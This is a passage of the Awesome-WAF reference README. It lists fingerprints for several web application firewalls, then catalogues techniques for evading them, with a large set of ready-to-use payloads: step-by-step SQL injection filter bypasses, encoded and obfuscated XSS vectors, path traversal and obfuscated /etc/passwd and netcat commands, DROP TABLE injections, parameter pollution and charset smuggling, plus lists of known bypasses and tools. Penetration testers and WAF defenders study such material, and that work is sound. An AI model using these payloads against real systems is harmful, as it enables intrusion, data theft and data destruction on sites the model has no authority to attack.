    • X-Cache header field contains YUNDUN as value.

    • Response page contains Blocked by YUNDUN Cloud WAF text snippet.

    • Blocked response page contains reference to yundun.com/yd_http_error/ URL.

Yunsuo

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains image class reference to yunsuologo.

    • Response headers contain the yunsuo_session field name.

YxLink

  • Detectability: Easy

  • Detection Methodology:

    • Response might have yx_ci_session cookie field.

    • Response might have yx_language cookie field.

    • Server header contains Yxlink-WAF field value.

ZenEdge

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains reference to /__zenedge/assets/ directory.

    • Server header contain ZENEDGE keyword.

    • Blocked response headers may contain X-Zen-Fury header.

ZScaler

  • Detectability: Easy

  • Detection Methodology:

    • Server header has value set to ZScaler.

    • Blocked response page contains:

      • Access Denied: Accenture Policy text.

      • Reference to https://policies.accenture.com URL.

      • Reference to image at https://login.zscloud.net/img_logo_new1.png.

      • Your organization has selected Zscaler to protect you from internet threats.

      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

Evasion Techniques

Lets look at some methods of bypassing and evading WAFs.

Fuzzing/Bruteforcing:

Method:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

Technique:

  • Load up your wordlist into fuzzer and start the bruteforce.

  • Record/log all responses from the different payloads fuzzed.

  • Use random user-agents, ranging from Chrome Desktop to iPhone browser.

  • If blocking noticed, increase fuzz latency (eg. 2-4 secs).

  • Always use proxychains, since chances are real that your IP gets blocked.

Drawbacks:

  • This method often fails.

  • Many a times your IP will be blocked (temporarily/permanently).

Regex Reversing:

Method:

  • Most efficient method of bypassing WAFs.

  • Some WAFs rely upon matching the attack payloads with the signatures in their databases.

  • Payload matches the reg-ex the WAF triggers alarm.

Techniques:

Blacklisting Detection/Bypass

  • In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.

  • The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.

Case: SQL Injection

• Step 1:

Keywords Filtered: and, or, union Probable Regex: preg_match('/(and|or|union)/i', $id)

  • Blocked Attempt: union select user, password from users

  • Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

Keywords Filtered: and, or, union, where

  • Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'

  • Bypassed Injection: 1 || (select user from users limit 1) = 'admin'

• Step 3:

Keywords Filtered: and, or, union, where, limit

  • Blocked Attempt: 1 || (select user from users limit 1) = 'admin'

  • Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

Keywords Filtered: and, or, union, where, limit, group by

  • Blocked Attempt: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

  • Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

Keywords Filtered: and, or, union, where, limit, group by, select

  • Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

  • Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'

  • Bypassed Injection: 1 || substr(user,1,1) = 'a'

• Step 6:

Keywords Filtered: and, or, union, where, limit, group by, select, '

  • Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

  • Bypassed Injection: 1 || user_id is not null

  • Bypassed Injection: 1 || substr(user,1,1) = 0x61

  • Bypassed Injection: 1 || substr(user,1,1) = unhex(61)

• Step 7:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex

  • Blocked Attempt: 1 || substr(user,1,1) = unhex(61)

  • Bypassed Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr

  • Blocked Attempt: 1 || substr(user,1,1) = lower(conv(11,10,36))

  • Bypassed Injection: 1 || lpad(user,7,1)

• Step 9:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space

  • Blocked Attempt: 1 || lpad(user,7,1)

  • Bypassed Injection: 1%0b||%0blpad(user,7,1)

Obfuscation:

Method:

  • Encoding payload to different encodings (a hit and trial approach).

  • You can encode whole payload, or some parts of it and test recursively.

Techniques:

1. Case Toggling

  • Some poorly developed WAFs filter selectively specific case WAFs.

  • We can combine upper and lower case characters for developing efficient payloads.

Standard: <script>alert()</script> Bypassed: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME' Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

  • Encode normal payloads with % encoding/URL encoding.

  • Can be done with online tools like this.

  • Burp includes a in-built encoder/decoder.

Blocked: <svG/x=">"/oNloaD=confirm()// Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12) Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

  • ASCII characters in unicode encoding encoding provide great variants for bypassing.

  • You can encode entire/part of the payload for obtaining results.

Standard: <marquee onstart=prompt()> Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>

Blocked: /?redir=http://google.com Bypassed: /?redir=http://google。com (Unicode alternative)

Blocked: <marquee loop=1 onfinish=alert()>x Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode alternative)

TIP: Have a look at this and this reports on HackerOne. :)

Standard: ../../etc/passwd Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

  • Often web apps encode special characters into HTML encoding and render them accordingly.

  • This leads us to basic bypass cases with HTML encoding (numeric/generic).

Standard: "><img src=x onerror=confirm()> Encoded: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form) Encoded: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

5. Mixed Encoding

  • Sometimes, WAF rules often tend to filter out a specific type of encoding.

  • This type of filters can be bypassed by mixed encoding payloads.

  • Tabs and newlines further add to obfuscation.

Obfuscated:

6. Using Comments

  • Comments obfuscate standard payload vectors.

  • Different payloads have different ways of obfuscation.

Blocked: <script>alert()</script> Bypassed: <!--><script>alert/**/()/**/</script>

Blocked: /?id=1+union+select+1,2,3-- Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--

7. Double Encoding

  • Often WAF filters tend to encode characters to prevent attacks.

  • However poorly developed filters (no recursion filters) can be bypassed with double encoding.

Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\ Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Standard: <script>alert()</script> Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E

8. Wildcard Obfuscation

  • Globbing patterns are used by various command-line utilities to work with multiple files.

  • We can tweak them to execute system commands.

  • Specific to remote code execution vulnerabilities on linux systems.

Standard: /bin/cat /etc/passwd Obfuscated: /???/??t /???/??ss?? Used chars: / ? t s

Standard: /bin/nc 127.0.0.1 1337 Obfuscated: /???/n? 2130706433 1337 Used chars: / ? n [0-9]

9. Dynamic Payload Generation

  • Different programming languages have different syntaxes and patterns for concatenation.

  • This allows us to effectively generate payloads that can bypass many filters and rules.

Standard: <script>alert()</script> Obfuscated: <script>eval('al'+'er'+'t()')</script>

Standard: /bin/cat /etc/passwd Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

Standard: <iframe/onload='this["src"]="javascript:alert()"';> Obfuscated: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

9. Junk Characters

  • Normal payloads get filtered out easily.

  • Adding some junk chars helps avoid detection (specific cases only).

  • They often help in confusing regex based firewalls.

Standard: <script>alert()</script> Obfuscated: <script>+-+-1-+-+alert(1)</script>

Standard: <BODY onload=alert()> Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

NOTE: The above payload can break the regex parser to cause an exception.

Standard: <a href=javascript;alert()>ClickMe Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

10. Line Breaks

  • Many WAF with regex based filtering effectively blocks many attempts.

  • Line breaks (CR/LF) can break firewall regex and bypass stuff.

Standard: <iframe src=javascript:confirm(0)"> Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

11. Uninitialized Variables

  • Uninitialized bash variables can evade bad regular expression based filters and pattern match.

  • These have value equal to null/they act like empty strings.

  • Both bash and perl allow this kind of interpretations.

BONUS: Variable names can have any number of random characters. I have represented them here as $aaaaaa, $bbbbbb, and so on. You can replace them with any number of random chars like $ushdjah and so on. ;)

  • Level 1 Obfuscation: Normal Standard: /bin/cat /etc/passwd Obfuscated: /bin/cat$u /etc/passwd$u

  • Level 2 Obfuscation: Postion Based Standard: /bin/cat /etc/passwd Obfuscated: $u/bin$u/cat$u $u/etc$u/passwd$u

  • Level 3 Obfuscation: Random characters Standard: /bin/cat /etc/passwd Obfuscated: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

An exotic payload crafted:

12. Tabs and Line Feeds

  • Tabs often help to evade firewalls especially regex based ones.

  • Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.

Standard: <IMG SRC="javascript:alert();"> Bypassed: <IMG SRC=" javascript:alert();"> Variant: <IMG SRC=" jav ascri pt:alert ();">

Standard: http://test.com/test?id=1 union select 1,2,3 Standard: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

Standard: <iframe src=javascript:alert(1)></iframe> Obfuscated:

13. Token Breakers

  • Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.

  • Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.

  • However, the request must still remain valid while using token-breakers.

  • Case: Unknown Token for the Tokenizer

    • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

  • Case: Unknown Context for the Parser (Notice the uncontexted bracket)

    • Payload 1: ?id=123);DROP TABLE users --

    • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

TIP: More payloads can be crafted via this cheat sheet.

14. Obfuscation in Other Formats

  • Many web applications support different encoding types and can interpret the encoding (see below).

  • Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.

Case: IIS

  • IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.

  • We can encode our payload and send the encoded parameters with the query.

Original Request:

Obfuscated Request + URL Encoding:

The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):

TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.

Target
Encodings
Notes

Nginx, uWSGI-Django-Python3

IBM037, IBM500, cp875, IBM1026, IBM273

  • Query string and body need to be encoded.

  • Url-decoded parameters in query string and body.

  • Equal sign and ampersand needed to be encoded as well (no url-encoding).

Nginx, uWSGI-Django-Python2

IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424

  • Query string and body need to be encoded.

  • Url-decoded parameters in query string and body afterwards.

  • Equal sign and ampersand should not be encoded in any way.

Apache-TOMCAT8-JVM1.8-JSP

IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025

  • Query string in its original format (could be url-encoded as usual).

  • Body could be sent with/without url-encoding.

  • Equal sign and ampersand should not be encoded in any way.

Apache-TOMCAT7-JVM1.6-JSP

IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025

  • Query string in its original format (could be url-encoded as usual).

  • Body could be sent with/without url-encoding.

  • Equal sign and ampersand should not be encoded in any way.

IIS6, 7.5, 8, 10 -ASPX (v4.x)

IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025

  • Query string in its original format (could be url-encoded as usual).

  • Body could be sent with/without url-encoding.

  • Equal sign and ampersand should not be encoded in any way.

HTTP Parameter Pollution

Method:

  • This attack method is based on how a server interprets parameters with the same names.

  • Possible bypass chances here are:

    • The server uses the last received parameter, and WAF checks only the first.

    • The server unites the value from similar parameters, and WAF checks them separately.

Technique:

  • The idea is to enumerate how the parameters are being interpreted by the server.

  • In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.

  • Distributing a payload across parameters which can later get concatenated by the server is also useful.

Below is a comparison of different servers and their relative interpretations:

Environment
Parameter Interpretation
Example

ASP/IIS

Concatenation by comma

par1=val1,val2

JSP, Servlet/Apache Tomcat

First parameter is resulting

par1=val1

ASP.NET/IIS

Concatenation by comma

par1=val1,val2

PHP/Zeus

Last parameter is resulting

par1=val2

PHP/Apache

Last parameter is resulting

par1=val2

JSP, Servlet/Jetty

First parameter is resulting

par1=val1

IBM Lotus Domino

First parameter is resulting

par1=val1

IBM HTTP Server

Last parameter is resulting

par1=val2

mod_perl, libapeq2/Apache

First parameter is resulting

par1=val1

Oracle Application Server 10G

First parameter is resulting

par1=val1

Perl CGI/Apache

First parameter is resulting

par1=val1

Python/Zope

First parameter is resulting

par1=val1

IceWarp

An array is returned

['val1','val2']

AXIS 2400

Last parameter is resulting

par1=val2

DBMan

Concatenation by two tildes

par1=val1~~val2

mod-wsgi (Python)/Apache

An array is returned

ARRAY(0x8b9058c)

HTTP Parameter Fragmentation

  • HPF is based on the principle where the server unites the value being passed along the parameters.

  • We can split the payload into different components and then pass the values via the parameters.

Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

TIP: A real life example how bypasses can be crafted using this method can be found here.

Browser Bugs:

Charset Bugs:

  • We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.

  • When the site decodes the string, the payload gets triggered.

Example request:

When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.

Final URL encoded payload:

Null Bytes:

  • The null bytes are commonly used as string terminator.

  • This can help us evade many web application filters in case they are not filtering out the null bytes.

Payload examples:

Standard: <a href="javascript:alert()"> Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a> Variant: <a 0x00 href="javascript:alert(1)">clickme</a>

Parsing Bugs:

  • RFC states that NodeNames cannot begin with whitespace.

  • But we can use special chars like %, //, !, ?, etc.

Examples:

  • <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)

  • <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)

  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)

  • <%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode Separators:

  • Every browser has their own specific charset of separators.

  • We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.

  • We can use these separators in places where a space is required.

Here is a compiled list of separators by @Masato Kinugawa:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B

  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B

  • Safari: 0x2C, 0x3B

  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B

  • Opera: 0x09, 0x20, 0x2C, 0x3B

  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

An exotic payload example:

Using Atypical Equivalent Syntactic Structures

  • This method aims at finding a way of exploitation not considered by the WAF developers.

  • Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.

  • This payload is accepted and executed by the server after going through the firewall.

Some common keywords overlooked by WAF developers:

  • JavaScript functions:

    • window

    • parent

    • this

    • self

  • Tag attributes:

    • onwheel

    • ontoggle

    • onfilterchange

    • onbeforescriptexecute

    • ondragstart

    • onauxclick

    • onpointerover

    • srcdoc

  • SQL Operators

    • lpad

    • field

    • bit_count

Example Payloads:

  • Case: XSS

  • Case: SQLi

Many alternatives to the original JavaScript can be used, namely:

However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)

Abusing SSL/TLS Ciphers:

  • Many a times, servers do accept connections from various SSL/TLS ciphers and versions.

  • Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.

Technique:

  • Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).

  • Find out the ciphers supported by the server (tools like SSLScan helps here).

  • If a specific cipher not supported by WAF but by the server, is found, voila!

  • Initiating a new connection to the server with that specific cipher should smuggle our payload in.

Tool: abuse-ssl-bypass-waf

CLI tools like cURL can come very handy for PoCs:

Abuse WAF limit on HTTP Responses

Method

  • Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.

  • By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.

Technique

  • Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).

  • Once done, attach your payload to the request after filling the limit with garbage.

A similar technique was used to bypass Google Cloud Platform WAF.

Abusing DNS History:

  • Often old historical DNS records provide information about the location of the site behind the WAF.

  • The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.

TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.

Tool: bypass-firewalls-by-DNS-history

Using Whitelist Strings:

Method:

  • Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.

  • This shared secret, if leaked/known, can be used to bypass all protections within the WAF.

Technique:

  • Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.

  • Usually some *-sync-request keywords or a shared token value is used as the secret.

  • Often adding specific headers may trigger a similar whitelist behaviour.

Now when making a request to the server, you can append it as a parameter:

A real life example how this works can be found at this blog.

Request Header Spoofing:

Method:

  • The target is to fool the WAF/server into believing it was from their internal network.

  • Adding some spoofed headers to represent the internal network, does the trick.

Technique:

  • With each request some set of headers are to be added simultaneously thus spoofing the origin.

  • The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.

Some common headers used:

Google Dorks Approach:

Method:

  • There are a lot of known bypasses of various web application firewalls (see section).

  • With the help of google dorks, we can easily find bypasses.

Techniques:

Before anything else, you should hone up skills from Google Dorks Cheat Sheet.

  • Normal search: +<wafname> waf bypass

  • Searching for specific version exploits: "<wafname> <version>" (bypass|exploit)

  • For specific type bypass exploits: "<wafname>" +<bypass type> (bypass|exploit)

  • On Exploit DB: site:exploit-db.com +<wafname> bypass

  • On 0Day Inject0r DB: site:0day.today +<wafname> <type> (bypass|exploit)

  • On Twitter: site:twitter.com +<wafname> bypass

  • On Pastebin site:pastebin.com +<wafname> bypass

Known Bypasses:

Airlock Ergon

  • SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult

AWS

Barracuda

Cerber (WordPress)

  • Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son

Citrix NetScaler

Cloudflare

Cloudbric

Comodo

DotDefender

  • Remote Command Execution (v3.8-5) by @John Dos

  • GET - XSS Bypass (v4.02) by @DavidK

  • POST - XSS Bypass (v4.02) by @DavidK

Fortinet Fortiweb

POST Type Query

GET Type Query

F5 ASM

F5 BIG-IP

Read Arbitrary File

Delete Arbitrary File

F5 FirePass

ModSecurity

Imperva

Kona SiteDefender

Profense

Turn off Proface Machine

Add a proxy

QuickDefense

Sucuri

StackPath

URLScan

WebARX

WebKnight

Wordfence

Apache Generic

  • Writing method type in lowercase by @i_bo0om

IIS Generic

Awesome Tools

Fingerprinting:

  • WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity.

  • IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm.

Testing:

Evasion:

  • WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou.

  • WAFTester - Another tool which can obfuscate payloads to bypass WAFs by @Raz0r.

  • libinjection-fuzzer - A fuzzer intended for finding libinjection bypasses but can be probably used universally.

  • bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF.

  • abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.

  • SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.

  • Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.

  • enumXFF - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions

Management:

Blogs and Writeups

Many of the content mentioned above have been taken from some of the following excellent writeups.

Video Presentations

Presentations & Research Papers

Research Papers:

Presentations:

Credits & License:

Initial fingerprint compilation and bypasses were put together by Pinaki (0xInfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the Apache 2.0 License.

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